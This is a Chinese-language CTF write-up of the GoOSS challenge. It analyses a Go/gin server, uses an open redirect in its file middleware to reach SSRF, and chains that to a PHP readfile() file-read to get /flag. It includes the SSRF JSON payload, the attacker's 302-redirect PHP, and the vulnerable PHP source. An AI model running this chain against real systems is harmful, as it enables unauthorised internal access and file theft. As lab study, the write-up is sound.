津门杯GoOSS
弄懂这道题花了我很长时间,期间走了很多弯路……(wotaicaile
在写这道题的路上,我学习(了解)了DNS绑定攻击、Google账号验证、免费域名注册(白嫖)、golang、搭建go环境、gin、dlv调试golang……
gin代码
在go程序最前可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | import ( 	"bytes" 	"crypto/md5" 	"encoding/hex" 	"fmt" 	"io" 	"io/ioutil" 	"net/http" 	"os" 	"strings" 	"time" 	"github.com/gin-gonic/gin" )
   | 
 
"github.com/gin-gonic/gin"既是gin框架,所以既要看得懂go,也要学看gin……
路由:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | func main() { 	fmt.Println("start") 	r := gin.Default() 	r.Use(fileMidderware) 	r.POST("/vul", vulController) 	r.POST("/upload", uploadController) 	r.GET("/", func(c *gin.Context) { 		c.JSON(200, gin.H{ 			"message": "pong", 		}) 	}) 	_ = r.Run(":1234")  }
  | 
 
r.Use(fileMidderware)设置了全局中间件
r.POST("/vul", vulController)设置了对该路径请求的局部中间件
vulController:
1 2 3 4 5
   | var url Url 	if err := c.ShouldBindJSON(&url); err != nil { 		c.JSON(500, gin.H{"msg": err}) 		return 	}
   | 
 
捆绑url为json格式,post传参时需要传:{"url":"xxxx"}
1 2 3 4 5 6 7 8 9 10 11 12 13
   | if !strings.HasPrefix(url.Url, "http://127.0.0.1:1234/") { 		c.JSON(403, gin.H{"msg": "url forbidden"}) 		return 	} 	client := &http.Client{Timeout: 2 * time.Second}
  	fmt.Println("1")
  	resp, err := client.Get(url.Url) 	if err != nil { 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 		return 	}
  | 
 
限制了内网访问的端口
uploadController:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
   | var file File 	if err := c.ShouldBindJSON(&file); err != nil { 		c.JSON(500, gin.H{"msg": err}) 		return 	}
  	dir := md5sum(file.Name)
  	_, err := http.Dir("./files").Open(dir) 	if err != nil { 		e := os.Mkdir("./files/"+dir, os.ModePerm) 		_, _ = http.Dir("./files").Open(dir) 		if e != nil { 			c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()}) 			return
  		}
  	} 	filename := md5sum(file.Content) 	path := "./files/" + dir + "/" + filename 	err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm) 	if err != nil { 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 		return 	}
  	c.JSON(200, gin.H{ 		"message": "file upload succ, path: " + dir + "/" + filename, 	}) }
   | 
 
大概是在files文件夹下上传文件的功能,当时尝试了下,似乎并不存在什么漏洞……
fileMidderware:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | func fileMidderware(c *gin.Context) { 	fileSystem := http.Dir("./files/") 	if c.Request.URL.String() == "/" { 		c.Next() 		return 	} 	f, err := fileSystem.Open(c.Request.URL.String()) 	if f == nil { 		c.Next() 	} 	if err != nil { 		c.Next() 		return 	} 	defer f.Close() 	fi, err := f.Stat() 	if err != nil { 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 		return 	} 	fmt.Println("2") 	if fi.IsDir() { 		fmt.Println(c.Request.URL.String()) 		if !strings.HasSuffix(c.Request.URL.String(), "/") { 			fmt.Println(c.Request.URL.String()) 			c.Redirect(302, c.Request.URL.String()+"/") 			fmt.Println(c.Request.URL.String()) 		} else { 			files := make([]string, 0) 			l, _ := f.Readdir(0) 			for _, i := range l { 				files = append(files, i.Name()) 			}
  			c.JSON(http.StatusOK, gin.H{ 				"files": files, 			}) 		}
  	} else { 		data, _ := ioutil.ReadAll(f) 		c.Header("content-disposition", `attachment; filename=`+fi.Name()) 		c.Data(200, "text/plain", data) 	}
  }
  | 
 
在/vul中请求{"url":"127.0.0.1:1234/../"}:

访问到了上级files目录,不存在别的东西了……
源码给了index.php:
1 2 3 4 5 6 7
   | <?php
 
 
  readfile($_GET['file']);
  ?>
   | 
 
如果能访问到80默认端口上的index并传参就可以获取flag
ssrf
1 2 3 4
   | fmt.Println(c.Request.URL.String()) 		if !strings.HasSuffix(c.Request.URL.String(), "/") { 			fmt.Println(c.Request.URL.String()) 			c.Redirect(302, c.Request.URL.String()+"/")
   | 
 
关键是这里的代码……由于gin的配置,访问xxx.xxx.xxx/haha与xxx.xxx.xxx/haha/并不相同
strings.HasSuffix检测c.Request.URL是否以\结尾,若不是则加上并跳转。大概本意也许是想解决这个问题?(好像哪里又不大对)……
配置好dlv调试代码服务:
c中含有request:
request中含有host和url,这里的url应该类似为资源文件?
如果我们传入:{"url":"http://127.0.0.1:1234//1/.."}:

网站尝试解析网址1……
在不以/结尾的情况下,302跳转直接使用c.Request.URL进行跳转,类似加载外部js,拼接上/后,//1/../被认为是相对url并予以访问(大概),造成ssrf(应该)。
https://guokeya.github.io/post/5IcFhBKyk/
大师傅说:
Location可以控制为//,而//就是省略HTTP协议的写法,以作参考。
302跳转
我们现在能控制目标机访问外网,那怎么利用这一点呢……
我们可以在自己的服务器写一个302跳转,使目标机访问后跳转到(目标机)本机的默认端口上并读取flag。
1 2 3
   | <?php header("Location: http://127.0.0.1/index.php?file=/flag"); ?>
   | 
 

获得flag!
流程:
访问/vul-》fileMidderware-》vulController-》resp, err := client.Get(url.Url)-》fileMidderware-》302跳转(c.Request.URL)-》服务器-》302跳转-》127.0.0.1/index.php?file=xxx-》flag
总之还是搞了不少东西的,虽然有很多无用功,花了好几天,但也很增长知识。
如果哪里我理解的不对希望能告诉我!